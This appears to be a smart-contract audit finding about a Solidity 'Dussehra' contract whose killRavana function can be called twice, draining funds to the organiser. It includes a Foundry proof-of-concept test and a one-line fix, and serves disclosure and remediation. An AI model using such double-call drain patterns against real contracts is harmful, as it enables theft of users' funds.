Summary
Dussehra::killRavana
only checks for whether the Ram is selected, meaning that a user can call this function twice, sending half of the total balance to the Organiser twice, draining the entire contract.
Vulnerability Details
@> function killRavana() public RamIsSelected {
if (block.timestamp < 1728691069) {
revert Dussehra__MahuratIsNotStart();
}
if (block.timestamp > 1728777669) {
revert Dussehra__MahuratIsFinished();
}
IsRavanKilled = true;
uint256 totalAmountByThePeople = WantToBeLikeRam.length * entranceFee;
totalAmountGivenToRam = (totalAmountByThePeople * 50) / 100;
(bool success, ) = organiser.call{value: totalAmountGivenToRam}("");
require(success, "Failed to send money to organiser");
}
The function only checks for RamIsSelected
meaning that once Ram is selected and the Mahurat starts a user may call this function twice, preventing the Ram from withdrawing.
Add the following code to Dussehra.t.sol
:
function testCanKillRavanaTwice() public participants {
vm.warp(1728691200 + 1);
vm.startPrank(organiser);
choosingRam.selectRamIfNotSelected();
vm.stopPrank();
vm.startPrank(player1);
dussehra.killRavana();
vm.stopPrank();
assert(dussehra.IsRavanKilled());
vm.startPrank(player1);
dussehra.killRavana();
vm.stopPrank();
vm.expectRevert();
vm.startPrank(player2);
dussehra.withdraw();
vm.stopPrank();
assertEq(address(organiser).balance, 2 ether);
}
The Test will show the withdraw
function reverting due to a EvmError: OutOfFunds
, and the 2 Eth of entry funds in the Organiser wallet.
Impact
The Ram is unable to withdraw their funds as all the funds have been sent to the Organiser.
Tools Used
Manual Review,
Foundry,
Recommendations
Add a check for the IsRavanKilled
parameter to revert the function, this will prevent re-entry.
function killRavana() public RamIsSelected {
if (block.timestamp < 1728691069) { //written - magic numbers, timestamp for comparison
revert Dussehra__MahuratIsNotStart();
}
if (block.timestamp > 1728777669) { //written - magic numbers, timestamp for comparison
revert Dussehra__MahuratIsFinished();
}
+ require(!IsRavanKilled, "Ravana is already killed!");
IsRavanKilled = true;
uint256 totalAmountByThePeople = WantToBeLikeRam.length * entranceFee;
totalAmountGivenToRam = (totalAmountByThePeople * 50) / 100; //written - magic numbers
(bool success, ) = organiser.call{value: totalAmountGivenToRam}("");
require(success, "Failed to send money to organiser");
}